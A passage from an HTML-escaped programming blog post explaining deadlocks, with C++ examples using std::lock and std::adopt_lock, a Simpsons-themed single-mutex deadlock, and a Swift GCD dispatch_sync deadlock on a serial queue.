    &lt;span class="n"&gt;DiningPhilosophers&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We have two philosophers and two forks. In each Eat() function we follow
the order:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Think&lt;/li&gt;
  &lt;li&gt;Grab a fork&lt;/li&gt;
  &lt;li&gt;Think&lt;/li&gt;
  &lt;li&gt;Grab another fork&lt;/li&gt;
  &lt;li&gt;Eat&lt;/li&gt;
  &lt;li&gt;Release both forks&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here’s the output on my machine, before the program just hangs:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Socrates: Begin eating
Nietzsche: Begin eating
Socrates: Hold fork: 0
Nietzsche: Hold fork: 1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see, each philosopher acquires a fork and then just waits
indefinitely. One way to break this deadlock is to use
&lt;a href="http://en.cppreference.com/w/cpp/thread/lock"&gt;std::lock()&lt;/a&gt; function.
What this function does is that it provides a functionality to lock one
or more mutexes at once if it can, otherwise it locks nothing.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;Eat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;name_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;": Begin eating"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;lockAIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;holdForkIndex_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;lockBIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;holdForkIndex_&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;MAX_FORKS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fork&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lockAIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;fork&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lockBIndex&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

    &lt;span class="n"&gt;Think&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;locka&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fork&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lockAIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;adopt_lock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;name_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;": Hold fork: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;lockAIndex&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;Think&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;lockb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fork&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lockBIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;adopt_lock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;name_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;": Hold fork: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;lockBIndex&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// eating&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;microseconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;name_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" End eating"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;First, the philosopher tries to lock both the forks. If successful, then
they proceed further to eat, otherwise they just wait.&lt;/p&gt;

&lt;p&gt;Notice two things here, first of all we’re not using any explicit loops
to lock-test-release mutex. All of that is handled by std::lock().
Second, we’re providing the extra parameter std::adopt_lock as a second
argument to
&lt;a href="http://en.cppreference.com/w/cpp/thread/lock_guard"&gt;std::lock_guard&lt;/a&gt;.
This gives a hint to std::lock_guard to not lock the mutex at the
construction, as we’re using the std::lock() for locking mutexes. The
only role of std::lock_guard() here is to guarantee an unlock when the
Eat() goes out of scope.&lt;/p&gt;

&lt;p&gt;Here’s the output for the above code:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Socrates: Begin eating
Nietzsche: Begin eating
Socrates: Hold fork: 0
Socrates: Hold fork: 1
Socrates End eating
Nietzsche: Hold fork: 1
Nietzsche: Hold fork: 0
Nietzsche End eating
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Deadlocks with single lock&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Deadlocks happen more often when more than one mutex is involved. But,
that doesn’t means that deadlocks can’t happen with a single mutex. You
must be thinking, how much stupid one has to be just using a single
mutex and still deadlocking the code. Picture this scenario:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Homer Simpson works at Sector 7-G of a high security Nuclear Power
Plant. To avoid the unproductive water-cooler chit-chat, their boss
Mr. Burns has placed the water cooler inside a highly protected cabin
which is protected by a passcode, allowing only single employee in at
a time. Also, to keep track of how much water is being consumed by
each employee, Mr. Burns has equipped the water cooler with mechanism
that every employee needs to swipe their card in order to use it.&lt;/p&gt;

  &lt;p&gt;Homer is thirsty, so he decides to get some water. He enters the
passcode and is inside the protected chamber. Once there, he realizes
he’s left his card at his desk. Being lazy, he decides to call his
friend Lenny to fetch his card. Lenny goes to Homer’s office, grabs
his card and goes straight to the water cooler chamber, only to find
it locked from the inside.&lt;/p&gt;

  &lt;p&gt;Now, inside Homer is waiting for Lenny to get his card. While, outside
Lenny is waiting for the door to get unlocked. And we have a deadlock
situation.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here’s a representation of above problem in code&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;
&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;SwipeCard&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Card swiping ... "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;waterCoolerLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Card swiped"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;GetWater&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Chamber unlocking ... "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;waterCoolerLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Chamber unlocked"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;SwipeCard&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Water pouring"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Sector7GSituation&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;GetWater&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And here’s the output before the program hangs:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;
Chamber unlocking ... 
Chamber unlocked
Card swiping ... 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The moral of the story is, calling of user code after acquiring a lock
should be handled with uttermost care. For example, in above code
calling SwipeCard() after acquiring a lock is a big clue that there are
some design errors with this code.&lt;/p&gt;

&lt;p&gt;The solution is to the restructure the code with something like:&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;
&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;SwipeCard&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Card swiping ... "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;waterCoolerLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Card swiped"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;EnterChamber&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Chamber unlocking ... "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;waterCoolerLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Chamber unlocked"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;GetWater&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;EnterChamber&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;SwipeCard&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Water pouring"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Sector7GSituation&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;GetWater&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Output:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Chamber unlocking ... 
Chamber unlocked
Card swiping ...
Card swiped
Water pouring
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Deadlocks and libdispatch&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Moving over to GCD, we don’t have to worry about such nitty-gritty
details, as we don’t have to care about mutex and locks. But still
deadlocks can happen, because deadlocks are more of design errors than
anything else.&lt;/p&gt;

&lt;p&gt;Here’s one example of a deadlock using GCD&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dispatch_queue_t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;dispatch_queue_create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"deadlockQueue"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="kt"&gt;SimpleDeadlock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;dispatch_sync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Enter task: 0"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;dispatch_sync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Enter task: 1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Exit task: 1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Exit task: 0"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;SimpleDeadlock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The jobs sounds simple enough, we have a serial queue. We have two
tasks, we need them to be executed sequentially. Each task has a taskId
associated with it, just so that we can keep track of what’s getting
executed. We use dispatch_sync because we want our tasks to be executed
one after the other.&lt;/p&gt;

&lt;p&gt;Here’s the output, before it gets deadlocked:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Enter task: 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, why isn’t the task 1 getting executed? Well, lets understand how
dispatch_sync works. A dispatch_sync blocks the queue until it has
been executed fully. Consider the following situation:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Say there is a hair saloon, they’ve a very strict first come first
serve policy. A mother and a daughter visit the saloon. The mother
steps in first so gets the client id 0 while the daughter gets client
id 1. According to the rules, they have to serve the mother first,
because she has the lowest numbered client id. But, the mother insists
that they first serve her daughter. If they start serving the daughter
they’re actually breaking the rule, as then they would be serving
client 1 before 0. Hence, the deadlock.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And this is exactly why task 1 is not getting initiated, because the
serial dispatch_queue is waiting for the task 0 to finish. But, the
task 0 is insisting the queue to finish the task 1 first.&lt;/p&gt;

&lt;p&gt;There are two ways to resolve this deadlock. First is using a concurrent
queue instead of a serial queue.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dispatch_queue_t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;dispatch_get_global_queue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;DISPATCH_QUEUE_PRIORITY_DEFAULT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="kt"&gt;SimpleDeadlock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;dispatch_sync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Enter task: 0"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;dispatch_sync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
